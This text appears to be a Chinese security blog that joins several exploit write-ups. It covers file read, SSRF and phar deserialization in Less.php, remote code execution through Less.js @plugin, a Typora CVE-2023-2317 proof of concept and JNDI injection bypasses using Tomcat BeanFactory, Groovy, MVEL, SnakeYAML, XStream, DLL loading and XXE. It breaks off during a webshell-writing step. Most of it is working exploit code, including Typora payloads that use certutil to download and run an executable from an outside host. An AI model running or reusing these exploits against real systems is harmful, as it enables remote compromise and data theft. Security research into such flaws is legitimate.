0%

简介

Less是一个完全兼容CSS的语言

并在CSS的基础上提供了很多高级语法与功能,比如CSS中不支持的条件判断与循环,相当于是CSS语言的超集。

前端开发者使用Less编写的程序,可以通过编译器转换成合法的CSS语法,提供给浏览器进行渲染。

常见的编译器有nodejs的Less.js、php的less.php

Less.php漏洞

环境安装:

1
2
3
4
5
#使用composer安装
composer require oyejorge/less.php

#使用时只需包含php文件
require 'vendor/autoload.php';

任意文件读取

data-uri

在less官网可以看到一个函数data-uri,该函数用于读取文件并转换成data协议输出在css中

我们再看到分析less.php是如何处理该函数的,在Functions.php的第851行我们可以看到如下处理代码

1
2
3
4
5
6
7
8
9
10
11
public function datauri( $mimetypeNode, $filePathNode = null ) {
$filePath = ( $filePathNode ? $filePathNode->value : null );
// ...

if ( file_exists( $filePath ) ) {
$buf = @file_get_contents( $filePath );
} else {
$buf = false;
}
// ...
}

这是一个可以控制完整路径的文件读取漏洞

所以我们只需构造如下less代码交给Less.php解析即可读取任意文件

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
.test {
content: data-uri('C:\Windows\win.ini');
}
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

image-20240414150310573

@import

在CSS或Less中,@import用于导入外部CSS,类似于PHP中的include。当在服务器端处理Less代码时,这可用于SSRF和本地文件泄露。

分析源码在Import.php的第171行我们可以发现如下语句

1
2
3
4
5
if( $this->options['inline'] ){
Less_Parser::AddParsedFile($full_path);
$contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );
....
....

只要选项是$this->options['inline']True即可没有限制的file_get_contents($full_path),而在@import语句后面指定inline选项即可使得条件成立。

所以我们也可以通过@import读取到文件内容

1
2
3
4
5
6
7
8
9
<?php
require "less/vendor/autoload.php";
$data=<<<'CSS'
@import (inline) "C:\Windows\win.ini";
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

SSRF

@import

@import中无限制的file_get_contents可以用来访问url,从而造成SSRF漏洞

1
2
3
4
5
6
7
8
9
10
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
@import (inline) "http://localhost/test.html";
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

image-20240414152206716

phar反序列化

data-uri

在上面的源码中我们可以看到data-uri处理时先会file_exists( $filePath )进行判断,而file_exists是可以解析phar的

所以我们就可以利用这一点进行phar反序列化的利用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
.test {
content: data-uri('phar:/./test.php');
}
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

文件头部写入

@import

在Less.php底层,@import时有如下判断逻辑:

  • 如果发现包含的文件是less,则对其进行编译解析,并将结果输出在当前文件中

  • 如果发现包含的文件是css,则不对其进行处理,直接将@import这个语句输出在页面最前面

第二种情况可以“控制”文件头,虽然可控的内容只是一个@import语句。但我们data:协议来控制其写入任意的文件头部内容

该方法只能控制css文件的头部,一般结合文件包含或者phar反序列化来使用。

比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require "less/vendor/autoload.php";

$data=<<<'CSS'
.test {
width: 1337px;
}

@import (inline) 'data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+';
CSS;
$parser = new Less_Parser();
$parser->parse($data);
$css= $parser->getCss();
echo $css;

image-20240414161247820

其他

在寻找less.php的过程中,发现如下源码库https://github.com/leafo/lessphp

image-20240414162756486

发现star数很多,但版本较老,根据安装提示下载了lessc.inc.php并使用如下语句进行任意文件读取等漏洞测试

1
2
3
4
5
<?php
require "lessc.inc.php";

$less = new lessc;
echo $less->compile(".test {content: data-uri('C:/Windows/win.ini');}");

发现无法读取文件

image-20240414163606332

跟进查看发现其对data-uri的实现是这样的

1
2
3
4
5
6
7
8
9
10
11
protected function lib_data_uri($value) {
$mime = ($value[0] === 'list') ? $value[2][0][2] : null;
$url = ($value[0] === 'list') ? $value[2][1][2][0] : $value[2][0];
$fullpath = $this->findImport($url);
if ($fullpath && ($fsize = filesize($fullpath)) !== false) {
.....
.....
if (!is_null($mime)) // fallback if the mime type is still unknown
$url = sprintf('data:%s;base64,%s', $mime, base64_encode(file_get_contents($fullpath)));
}
}

其中findImport会判断传入的url如果url末尾不存在\就在url的开头加上\,然后再判断路径是否存在,存在则返回路径,也就是说我们的url被解析为了/C:/Windows/win.ini,而这个文件是不存在的。所以$fullpath 为空自然无法读取到文件。

在linux下因为根目录为/所以这个问题不显著,且也可以解析//etc/passwd

image-20240414163953073

而在windows下/可以表示当前盘符,所以我们可以在路径前去掉盘符来读取任意文件,但这也只能读取当前盘符的文件了

image-20240414164123730

image-20240414164327686

原因嘛…我猜测是less.php版本太低还没优化好

Less.js漏洞

环境安装

官网:https://lesscss.org/#

1
2
#使用官方文档的安装方法
npm install -g less

远程RCE

Less.js库支持插件,这些插件可以使用@plugin语法直接包含在远程的Less代码中。插件使用JavaScript编写,当Less代码被解释时,任何包含的插件都会执行。这可能会导致两种结果,具体取决于Less处理器的上下文。如果在客户端处理Less代码,则会导致跨站脚本攻击。如果在服务器端处理Less代码,则会导致远程代码执行。所有支持 @plugin语法的Less版本都容易受到攻击。

原理是利用@plugin加载远程js代码(有格式要求)的功能配合nodejs的代码执行函数实现RCE

新建一个cmd.js内容如下,将其上传到远程服务器并能被远程访问到

1
2
3
4
5
6
7
registerPlugin({    
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})

image-20240414161831555

构造cmd.less文件,内容如下

1
2
3
4
5
@plugin "http://your-ip:8888/cmd.js";

body {
color: cmd('whoami');
}

在命令行中执行以下指令,将less文件转换为css文件并执行恶意指令

1
lessc cmd.less result.css

image-20240414162105651

可以看到远程主机上的cmd.js被访问

image-20240414162152774

任意文件读取

和less.php的两种读取方法构造的less文件相同

SSRF

和less.php的ssrf构造的less文件相同

真实示例

找到一个国外less-to-css的在线网站,测试使用data-uri读取任意文件

image-20240414162522071

image-20240414162607853

成功读取到/etc/passwd

1.漏洞信息

漏洞编号:CVE-2023-2317

漏洞范围:Typora<=1.67

漏洞说明:低于1.67版本的Typora存在代码执行漏洞,通过在标签中加载typora://app/typemark/updater/update.html实现在Typora主窗口的上下文中运行任意JavaScript代码。

2.漏洞成因

问题代码段:

在typoral的安装目录的\resources\updater\updater.html中存在问题代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
<script type="text/javascript">
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;
</script>

分析一下插入的javascript实现的功能

1.参数获取:

1
2
3
4
5
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));

这四句话都是获取参数的,window.location.search获取从问号 (?) 开始的 URL(查询部分。再分别通过正则匹配的方式匹配出相应的参数curVersion,newVersion,releaseNoteLink,hideAutoUpdates和labels。也就是说我们要传入这5个参数

2.页面替换:

下面语句将参数通过dom.innerText和din.innerHTML未经清洗的将传入的替换进html源码中,是造成漏洞(DOM型XSS)的根源

1
2
3
4
5
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;

可以看到第一句话将labels中的labels[4]和labels[5]相拼接通过innerText写入,因为是以innerText方式写入的所以我们的xss不会生效

第二句将labels中的[0-3]四个参数通过innerHTML方式写入,可以使我们的xss成功

第三句将releaseNoteLink链接写入一个src中,我们也可以利用这一点使受害者访问我们构造的url

3.漏洞拓展:

1.typora中存在node扩展,通过利用node.child_process模块我们可以创造一个子进程来执行系统命令,从而使原来的dom型xss可执行系统命令

2.既然要在typora中执行xss我们自然要引用该html

Typora内部实现了typora://协议,可以用于Typora访问特定文件。通过按住shift+f12的方式我们可以看到typoral的html界面

观察其文件引用的方式

1
<link rel="stylesheet" href="typora://app/typemark/lib.asar/bootstrape/css/bootstrap.css" crossorigin="anonymous">

lib.asar在/resouce目录下,若想访问到\resources\updater\updater.html我们可以构造typora://app/typemark/updater/update.html

根据这两点我们来构造相关payload

Windows环境下的payload可以这样写:

1
reqnode('child_process').exec("calc")

包在svg标签里实现页面加载:

1
<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>

编码前的Poc:

1
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=["","<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>","","","",""]">

为了使poc更加隐蔽我们还可以对其进行base64编码,再通过reqnode('child_process').exec('certutil.exe -urlcache -split -f http://IP:端口/1212.exe && 1212.exe')获取并执行后门代码

所以最终的poc为:

1
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmd加密指令'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
1
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLXNwbGl0IC1mIGh0dHA6Ly80Ny4xMjAuMzguMjEwL3dpbmRvd3MuZXhlICYmIHdpbmRvd3MuZXhlJyk='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

还有适配linux和windows的写法

1
reqnode('child_process').exec(({Win32: 'certutil.exe -urlcache -split -f http://192.168.142.128:8992/1212.exe 1212.exe && 1212.exe', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

漏洞修复

把innerHTML改成了innerText:

本篇文章所有复现代码均已上传github项目库https://github.com/LtmThink/JNDIBypass

本机的java版本为8u172,所以默认配置导致不能使用常规的加载远程ObjectFactory的方法进行RCE

image-20240309224011989

而绕过这一限制有两种思路:

  1. 利用受害者本地的工厂类实现RCE

  2. 受害者向LDAP或RMI服务器请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,此时即可利用反序列化gadget实现RCE

基于本地工厂类的利用方法

javax.management.loading.MLet 探测类是否存在

javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在

利用条件:

java内置类通用

利用步骤:
  1. RMI服务端构建

    导入pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    编写MletServer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public class MletServer {
    public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
    ref.add(new StringRefAddr("a","java.lang.Runtime"));
    ref.add(new StringRefAddr("b","http://127.0.0.1:2333/"));
    ref.add(new StringRefAddr("c","Bitterz"));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("melt", referenceWrapper);
    }
    }
  2. python开启webserver

    1
    python -m http.server 2333
  3. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/melt";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    返回如果验证的类存在则在远程服务器会留下访问请求(404)

    image-20240310105739409

    否则就没有

    image-20240310105946610

org.apache.naming.factory.BeanFactory

利用条件:
  1. tomcat自带相关包

攻击步骤:
  1. RMI服务器代码

    pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public class TomcatBeanFactoryServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

    // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
    ref.add(new StringRefAddr("forceString", "bitterz=eval"));

    // 指定bitterz属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
    ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("Exploit", referenceWrapper); // 绑定目录名
    System.out.println("Server Start on 1100...");
    }
    }
  2. 开启RMI服务端后,触发JNDI注入

    1
    2
    3
    4
    5
    public static void main(String[] args) throws NamingException {
    String uri = "rmi://127.0.0.1:1100/Exploit";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);
    }

    image-20240309225755174

groovy.lang.GroovyClassLoader.parseClass

利用条件:
  1. 存在groovy包

攻击步骤:
  1. RMI服务器构建

    pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>2.4.3</version>
    </dependency>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public class GroovyShellServer {
    public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    ref.add(new StringRefAddr("forceString", "x=parseClass"));
    String script = "@groovy.transform.ASTTest(value={\n" +
    " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
    "})\n" +
    "def x\n";
    ref.add(new StringRefAddr("x",script));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("evilGroovy", referenceWrapper);
    }
    }
  2. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/evilGroovy";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    image-20240310120024039

org.mvel2.sh.ShellSession.exec

利用条件:
  1. 项目存在mvel2包

攻击步骤:
  1. RMI服务器构造

    pom.xml配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.mvel</groupId>
    <artifactId>mvel2</artifactId>
    <version>2.4.12.Final</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    public class MvelServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
    ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

    // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec('calc');"));


    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("mvel", referenceWrapper); // 绑定目录名
    System.out.println("Server Start on 1100...");
    }
    }
  2. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/mvel";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    image-20240310115834817

org.yaml.snakeyaml.Yaml

Yaml是做反序列化的,也可以实现RCE,利用点在org.yaml.snakeyaml.Yaml().load(String)

利用条件:
  1. 存在snakeyaml反序列化

攻击步骤:
  1. 构造恶意jar文件yaml-payload.jar(名字随意)

    创建一个恶意类,实现ScriptEngineFactory接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    public class File implements ScriptEngineFactory {

    public File() {
    try {
    new java.io.IOException().printStackTrace();
    java.lang.Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    public static void main(String[] args) throws IOException {
    new java.io.IOException().printStackTrace();
    java.lang.Runtime.getRuntime().exec("calc");
    }

    @Override
    public String getEngineName() {
    return null;
    }

    @Override
    public String getEngineVersion() {
    return null;
    }

    @Override
    public List<String> getExtensions() {
    return null;
    }

    @Override
    public List<String> getMimeTypes() {
    return null;
    }

    @Override
    public List<String> getNames() {
    return null;
    }

    @Override
    public String getLanguageName() {
    return null;
    }

    @Override
    public String getLanguageVersion() {
    return null;
    }

    @Override
    public Object getParameter(String key) {
    return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
    return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
    return null;
    }

    @Override
    public String getProgram(String... statements) {
    return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
    return null;
    }
    }

    在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,里面的内容设置为前面的恶意类名

    image-20240318102046262

  2. RMI服务端构造

    pom.xml依赖引入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.33</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    public class YamlServer {
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
    String yaml = "!!javax.script.ScriptEngineManager [\n" +
    " !!java.net.URLClassLoader [[\n" +
    " !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" +
    " ]]\n" +
    "]";
    ref.add(new StringRefAddr("forceString", "a=load"));
    ref.add(new StringRefAddr("a", yaml));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("yaml", referenceWrapper); // 绑定目录名
    System.out.println("Server Start on 1100...");
    }
    }
  3. python开启webserver,并放置一个恶意jar文件

    image-20240318102443233

  4. 触发JNDI注入

    1
    2
    3
    4
    5
    public static void main(String[] args) throws NamingException {
    String uri = "rmi://127.0.0.1:1100/yaml";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);
    }

image-20240318101604478

com.thoughtworks.xstream.XStream.fromXML

JNDI结合xstream的反序列化漏洞

利用条件:
  1. 相应版本的xstream存在反序列化漏洞

攻击步骤:

以xstream1.4.6为例,该版本存在以下POC

1
2
3
4
5
6
7
8
9
10
11
12
13
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
  1. RMI服务器构造

    pom.xml依赖引入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    <dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.6</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    Registry registry = LocateRegistry.createRegistry(1100);
    //攻击主机的公网ip
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    String xml = "<sorted-set>\n"+
    "<dynamic-proxy>\n"+
    "<interface>java.lang.Comparable</interface>\n"+
    "<handler class='java.beans.EventHandler'>\n"+
    "<target class='java.lang.ProcessBuilder'>\n"+
    "<command>\n"+
    "<string>calc</string>\n"+
    "</command>\n"+
    "</target>\n"+
    "<action>start</action>\n"+
    "</handler>\n"+
    "</dynamic-proxy>\n"+
    "</sorted-set>\n";
    ref.add(new StringRefAddr("forceString", "a=fromXML"));
    ref.add(new StringRefAddr("a", xml));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("FromXML", referenceWrapper);
    System.out.println("RMI Server start on 1100");
    }
  2. 触发JNDI注入

    运行

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/FromXML";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    image-20240310114628140

com.sun.glass.utils.NativeLibLoader

其是JDK内置的动态链接库加载工具类,可以被JNDI注入利用加载恶意dll来执行任意代码

利用条件:
  1. 被攻击服务器存在可以被利用的.dll或者.so文件在攻击者可控制的路径下

攻击步骤:
  1. 制作.dll或者.so

    编写c++文件

    1
    2
    3
    4
    5
    6
    #include <stdio.h>

    void __attribute__ ((constructor)) my_init_so()
    {
    FILE *fd = popen("calc", "r");
    }

    使用以下指令编译一个dll文件

    1
    gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll
  2. RMI服务器构造

    pom.xml配置

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    server端代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    public class NativeLibLoaderServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
    Registry registry = LocateRegistry.createRegistry(1100);

    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
    ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
    true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
    //不能使用绝对路径,相对路径根据不同的环境修改
    ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\libcmd"));

    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    registry.bind("dllLoader", referenceWrapper);
    System.out.println("RMI Server start on 1100");
    }
    }
  3. 放置dll文件,并触发JNDI注入

    我的java代码运行在D盘,根据..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\libcmd我把libcmd.dll放置在本地的d://libcmd.dll

    image-20240316173427905

    再运行

    1
    2
    3
    String uri = "rmi://47.99.68.209:1100/dllLoader";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    即可RCE

    image-20240309224614211

org.apache.catalina.users.MemoryUserDatabaseFactory

XXE利用:
利用条件:
  1. tomcat服务器自带

攻击步骤:
  1. RMI服务端构建

    导入pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    编写XXEServer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public class XXEServer {
    public static void main(String[] args) throws Exception {
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null);
    ref.add(new StringRefAddr("pathname","http://127.0.0.1:7777/exp.xml"));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("xxe", referenceWrapper);
    }
    }
  2. python开启webserver,并放置一个恶意xml文件

    文件内容

    1
    2
    3
    4
    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % romote SYSTEM "http://127.0.0.1:7777/RequestFromXXE"> %romote;]>
    <root/>

    python开启webserver指令

    1
    python -m http.server 7777
  3. 触发JNDI注入

    1
    2
    3
    String uri = "rmi://127.0.0.1:1100/xxe";
    InitialContext initialContext = new InitialContext();
    initialContext.lookup(uri);

    成功触发XXE

    image-20240316120133646

任意文件写入利用:
利用条件:
  1. windows下tomcat服务器即可利用

  2. linux下需要有可以写文件夹的本地工厂类,比如org.h2.store.fs.FileUtils

windows下攻击步骤:
  1. RMI服务端构建

    导入pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.8</version>
    </dependency>
    </dependencies>

    编写UserDataRCE_Server

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    public class UserDataRCE_Server {
    public static void main(String[] args) throws Exception{
    System.out.println("Creating evil RMI registry on port 1100");
    Registry registry = LocateRegistry.createRegistry(1100);
    System.setProperty("java.rmi.server.hostname", "127.0.0.1");

    ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
    ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/../../webapps/ROOT/webshell.jsp"));
    ref.add(new StringRefAddr("readonly", "false"));

    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
    registry.bind("writeFile", referenceWrapper);
    }
    }

    运行RMI服务器

    image-20240316160347830

  2. 配置要写入的webshell,并开启python webserver

    假设我们要将webshell写入到远程tomcat服务器的webapps/ROOT/webshell.jsp文件里,我们需要先新建一个类似结构

    image-20240316160040681

    webshell.jsp内容

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <tomcat-users xmlns="http://tomcat.apache.org/xml"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
    version="1.0">
